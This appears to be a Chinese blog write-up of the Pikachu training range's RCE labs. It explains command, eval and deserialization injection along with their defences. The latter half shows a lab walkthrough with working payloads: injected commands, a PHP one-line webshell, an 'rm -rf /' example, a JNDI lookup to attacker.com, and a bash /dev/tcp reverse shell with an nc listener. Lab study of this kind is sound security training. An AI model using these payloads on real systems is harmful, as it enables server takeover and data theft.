Pikachu靶场-RCE漏洞

1. RCE漏洞原理

  • 核心问题:应用程序未对用户输入进行严格过滤,直接将输入内容拼接至系统命令、代码执行函数或反序列化过程中。
  • 常见触发场景
  • 命令注入:用户输入被拼接到操作系统命令(如system()、exec())。
  • 代码注入:动态执行用户可控的代码(如eval()、Function())。
  • 反序列化漏洞:反序列化未经验证的数据触发恶意代码(如Java的ObjectInputStream、Python的pickle)。

2. RCE漏洞类型

(1) 命令注入(Command Injection)

  • 触发点:直接调用系统命令的函数(如bash、cmd)。
  • 示例
    // PHP代码示例:未过滤用户输入的id参数
    id = _GET['id'];
    system("ping -c 4 " . $id);
  • 攻击者可输入127.0.0.1; rm -rf /,导致删除服务器文件。

(2) 反序列化漏洞

  • 触发点:反序列化不可信数据时自动调用危险方法(如Java的readObject())。
  • 示例:Apache Log4j2(CVE-2021-44228)通过日志记录中的${jndi:ldap://恶意URL}触发远程代码加载。

(3) 动态代码执行

  • 触发点:使用eval()、setTimeout()等动态执行代码。
  • 示例
    // Node.js代码示例:未过滤用户输入
    const userInput = req.query.input;
    eval('console.log("' + userInput + '")');
  • 输入"); process.exit(1); // 可导致服务崩溃。

3. 典型攻击场景

  • Web应用:通过URL参数、HTTP头、表单字段注入恶意命令。
  • 中间件/框架:利用Struts2、Spring、Fastjson等框架的漏洞(如CVE-2017-5638)。
  • IoT设备:通过未授权接口执行系统命令(如路由器固件漏洞)。
  • 供应链攻击:污染开源库(如PyPI、npm包)间接引入RCE。

4. RCE漏洞危害

  • 完全控制系统:获取服务器Shell权限,植入后门或勒索软件。
  • 数据泄露:窃取数据库、配置文件中的敏感信息。
  • 横向渗透:作为跳板攻击内网其他设备。
  • 资源滥用:利用服务器进行挖矿、DDoS攻击。

5. 检测方法

(1) 黑盒测试

  • 模糊测试(Fuzzing):输入|、;、&、$(cmd)等特殊字符,观察响应异常。
  • 工具扫描:使用Burp Suite、Nuclei、Metasploit检测已知RCE漏洞。

(2) 白盒审计

  • 代码审计:检查以下高危函数:
  • PHP:system(), exec(), popen(), eval().
  • Python:os.system(), subprocess.run(), pickle.loads().
  • Java:Runtime.exec(), ProcessBuilder(), ObjectInputStream.
  • 反序列化检查:验证反序列化数据是否签名或加密。

6. 防御措施

(1) 输入过滤与验证

  • 白名单机制:仅允许预期字符(如数字、字母)。
  • 转义危险字符:过滤|、&、;、$()等Shell元字符。

(2) 避免直接执行命令

  • 使用安全的API替代系统命令。例如:
  • 用FileUtils.readFileToString()代替Runtime.exec("cat /etc/passwd")。

(3) 最小权限原则

  • Web服务以低权限用户(如www-data)运行,限制命令执行能力。

(4) 禁用危险函数

  • 在PHP中禁用eval()、system()等函数(修改php.ini的disable_functions)。

(5) 安全反序列化

  • 避免反序列化不可信数据,使用JSON等安全格式替代。
  • Java中可启用SerializationFilter(JDK 17+)。

7. 经典案例

  1. Shellshock(CVE-2014-6271)
  • 漏洞原因:Bash解析环境变量时执行恶意代码。
  • 攻击载荷:() { :; }; /bin/bash -c '恶意命令'
  1. Fastjson RCE(CVE-2022-25845)
  • 漏洞原因:反序列化时自动加载恶意类。
  • 修复方案:升级至1.2.83+版本并启用safeMode。
  1. Log4j2(CVE-2021-44228)
  • 漏洞原因:日志记录中未过滤JNDI lookup。
  • 攻击载荷:${jndi:ldap://attacker.com/Exploit}

总结

RCE漏洞的根源在于"信任了不可信的输入"。防御需结合输入过滤、最小权限、代码审计等多层机制,同时及时更新依赖库和框架补丁。对于企业,建议定期进行渗透测试,并建立应急响应流程以快速应对此类高危漏洞。

一,exec "ping

1,提供了一个允许执行ping操作的网站

尝试执行系统命令

127.0.0.1;ls

127.0.0.1 | ls

127.0.0.1 & ls

127.0.0.1 || ls

127.0.0.1 && ls

2,可以看到以上字符除了||都能进行注入,直接写一句话木马到当前文件夹

127.0.0.1;echo "<?php @eval($_POST['attack']);?>" >webshell.php

127.0.0.1;chmod 777 webshell.php

127.0.0.1;ls -la

然后使用蚁剑连接webshell.php

二,exec "eval"

漏洞位置

if(isset(_POST\['submit'\]) \&\& _POST['txt'] != null){
if(@!eval(_POST\['txt'\])){ html.="<p>你喜欢的字符还挺奇怪的!</p>";
}
}

关键危险函数:eval($_POST['txt'])

漏洞原理

  1. 直接执行用户输入
    用户通过POST提交的txt参数未经任何过滤,直接传递给eval()函数执行。
    eval()会将字符串解析为PHP代码执行,攻击者可构造恶意代码注入。
  2. 缺乏输入过滤
    未对$_POST['txt']进行以下安全处理:
  • 过滤危险字符(如;、$、{、})
  • 白名单验证(仅允许特定字符)
  • 代码语法检查
  1. 错误抑制符(@)的误导
    @符号抑制了错误输出,但无法阻止代码执行。即使代码执行失败,攻击者仍可能通过盲注(Blind RCE)探测漏洞。

漏洞危害

  • 完全控制服务器:执行系统命令、读写文件、安装后门。
  • 数据泄露:读取数据库配置、用户信息等敏感文件。
  • 横向渗透:以当前服务器为跳板攻击内网。
  • 持久化攻击:植入Webshell、定时任务、SSH密钥。

修复建议

  1. 禁用eval函数
    在php.ini中禁用eval函数:
    disable_functions = eval
  2. 输入过滤机制
    如果业务必须接受动态代码,需实现严格过滤:
    // 示例:仅允许数字和字母
    input = _POST['txt'];
    if (!preg_match('/^[a-zA-Z0-9]+/', input)) {
    die("非法输入!");
    }
  3. 使用安全替代方案
  • 避免动态执行代码,改用预定义函数或API。
  • 例如,若需数学计算,用intval()代替动态表达式。
  1. 最小权限运行
    Web服务器(如Apache/Nginx)以低权限用户(如www-data)运行,限制其执行系统命令的能力。
  2. 日志监控
    记录所有用户输入及异常行为,使用IDS/IPS检测攻击尝试。

一,漏洞验证(POC)

  1. 提交简单PHP代码测试:
    txt=echo phpinfo();

若页面返回PHP配置信息,则漏洞存在。

  1. 盲注检测(无回显时):
    txt=system('sleep 5');
    观察响应是否延迟5秒。

二,攻击示例

攻击者可提交以下Payload实现任意代码执行:

// 执行系统命令(如查看文件列表)
txt=system('ls -la /');

// 写入Webshell
txt=file_put_contents('shell.php','<?php @eval($_POST["cmd"]);?>');

txt=system('ls');

// 靶机反弹Shell(URL栏需URL编码)
txt=exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.99.74/4444 0>&1'");

攻击机打开监听

nc -lvvp 4444

相关推荐
叶落阁主5 小时前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
用户962377954482 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机2 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机2 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954482 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star2 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954482 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher4 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行7 天前
网络安全总结
安全·web安全
西岸行者7 天前
学习笔记:SKILLS 能帮助更好的vibe coding
笔记·学习